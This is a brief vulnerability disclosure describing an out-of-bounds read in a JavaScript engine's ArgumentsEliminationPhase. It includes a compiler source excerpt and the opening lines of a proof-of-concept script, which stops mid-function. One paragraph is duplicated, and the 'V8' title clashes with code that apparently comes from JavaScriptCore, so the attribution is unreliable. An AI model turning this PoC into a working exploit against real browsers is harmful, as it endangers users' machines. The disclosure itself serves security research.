V8 ArgumentsEliminationPhase::transform Out-of-Bounds Read

The vulnerability exists in the ArgumentsEliminationPhase::transform function of V8. Whether or not the 'argumentCountIncludingThis <= varargsData->limit' condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

Here is a snippet of ArgumentsEliminationPhase::transform
    case LoadVarargs:
        ...
        if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
            ...
            if (argumentCountIncludingThis <= varargsData->limit) {
                storeArgumentCountIncludingThis(argumentCountIncludingThis);
                // store arguments
                ...
            }

            node->remove();
            node->origin.exitOK = canExit;
            break;
        }

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:

const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
    if (arguments.length != kArgsLength) {
        buggy = arguments;
    }
